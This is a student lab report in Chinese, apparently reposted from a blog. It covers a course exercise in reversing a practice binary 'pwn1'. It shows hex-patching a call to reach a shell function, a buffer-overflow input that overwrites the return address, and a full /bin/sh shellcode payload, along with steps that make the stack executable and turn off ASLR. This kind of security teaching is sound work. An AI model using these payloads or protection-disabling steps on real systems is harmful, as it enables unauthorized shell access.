20165307《网络对抗技术》Exp1 PC平台逆向破解
實(shí)驗(yàn)內(nèi)容
知識(shí)點(diǎn)描述
掌握NOP, JNE, JE, JMP, CMP匯編指令的機(jī)器碼
- NOP:無(wú)作用。
- JNE:若不相等則跳。
- JE:若相等則跳。
- JMP:無(wú)條件轉(zhuǎn)移指令。段內(nèi)直接短轉(zhuǎn)Jmp short,段內(nèi)直接近轉(zhuǎn)移Jmp near,段內(nèi)間接轉(zhuǎn)移Jmp word,段間直接轉(zhuǎn)移Jmp far。
- CMP:比較指令,它不保存結(jié)果,只是影響相應(yīng)的標(biāo)志位。
掌握反匯編與十六進(jìn)制編程器
- 反匯編指令:objdump -d objfile
- 十六進(jìn)制編程器:
能正確修改機(jī)器指令改變程序執(zhí)行流程
見實(shí)驗(yàn)步驟
能正確構(gòu)造payload進(jìn)行bof攻擊
見實(shí)驗(yàn)步驟
實(shí)驗(yàn)步驟
任務(wù)一:直接修改程序機(jī)器指令,改變程序執(zhí)行流程
- 下載目標(biāo)文件pwn1,用objdump -d pwn1 | more命令進(jìn)行反匯編:
vim pwn1
esc->:%!xxd 將顯示模式切換為16進(jìn)制模式:
找到e8d7,將其修改為e8c3
再用objdump -d pwn1 | more命令反匯編看一下,call指令是否正確調(diào)用getShell:
./pwn1運(yùn)行改后的代碼,會(huì)得到shell提示符#:
任務(wù)二:通過(guò)構(gòu)造輸入?yún)?shù),造成BOF攻擊,改變程序執(zhí)行流
用objdump -d pwn1 | more命令反匯編:
確認(rèn)輸入字符串中哪幾個(gè)字符會(huì)覆蓋到返回地址
如果輸入字符串 1111111122222222333333334444444412345678,那 1234 那四個(gè)數(shù)會(huì)覆蓋到堆棧上的返回地址,所以只要把這四個(gè)字符替換為getShell的內(nèi)存地址,輸入給pwn1,pwn1就會(huì)運(yùn)行g(shù)etShell
getShell的內(nèi)存地址,通過(guò)反匯編時(shí)可以看到,即 0804847d 。應(yīng)輸入11111111222222223333333344444444\x7d\x84\x04\x08
構(gòu)造輸入字符串 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 。然后將input的輸入,通過(guò)管道符“|”,作為pwn1的輸入 (cat input; cat) | ./pwn1
任務(wù)三:注入Shellcode并執(zhí)行
修改設(shè)置
apt-get install execstack 安裝execstack命令
execstack -s pwn1 設(shè)置堆棧可執(zhí)行
execstack -q pwn1 查詢文件的堆棧是否可執(zhí)行
more /proc/sys/kernel/randomize_va_space 查詢是否關(guān)閉地址隨機(jī)化
echo "0" > /proc/sys/kernel/randomize_va_space 關(guān)閉地址隨機(jī)化
more /proc/sys/kernel/randomize_va_space 查詢是否關(guān)閉地址隨機(jī)化
2.構(gòu)造要注入的payload
使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 其中前面32個(gè)A用來(lái)填滿緩沖區(qū)buf,\x04\x03\x02\x01為預(yù)留的返回地址retaddr:
接下來(lái)確定\x4\x3\x2\x1該填什么:
打開一個(gè)終端注入這段攻擊buf: (cat input_shellcode;cat) | ./20165307pwn1
再打開另外一個(gè)終端,用gdb來(lái)調(diào)試pwn1這個(gè)進(jìn)程:用ps -ef | grep 20165307pwn1命令找到pwn1的進(jìn)程號(hào)是:2854
用gdb attach 2854 命令啟動(dòng)gdb調(diào)試這個(gè)進(jìn)程:
用 disassemble foo 命令反匯編:
用 break *0x080484ae 命令設(shè)置斷點(diǎn),在進(jìn)程正在運(yùn)行的終端敲回車,輸入c命令繼續(xù)運(yùn)行,使其繼續(xù)執(zhí)行。再返回調(diào)試終端,使用 info r esp命令查找地址。用x/16x 0xffffd2fc 命令查看其存放內(nèi)容,看到了0x01020304,就是返回地址的位置。
根據(jù)我們構(gòu)造的input_shellcode可知,shellcode就在其后,所以地址應(yīng)為 0xffffd300 :
接下來(lái)只需要將之前的\x4\x3\x2\x1改為這個(gè)地址即可,用命令 perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再用 (cat input_shellcode;cat) | ./20165307pwn1命令執(zhí)行程序,攻擊成功
實(shí)驗(yàn)感想
實(shí)驗(yàn)收獲與感想
在這次實(shí)驗(yàn)中實(shí)現(xiàn)了緩沖區(qū)溢出,加深了我對(duì)堆棧的理解。
什么是漏洞?漏洞有什么危害?
漏洞是系統(tǒng)的缺陷,可以使攻擊者能夠在未授權(quán)的情況下訪問(wèn)或破壞系統(tǒng)。
轉(zhuǎn)載于:https://www.cnblogs.com/wangzhe1998/p/10543342.html
總結(jié)
以上是生活随笔為你收集整理的20165307《网络对抗技术》Exp1 PC平台逆向破解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 【CSS】当图片加载缓慢时,图片如何自适
- 下一篇: bootstrap-multiselec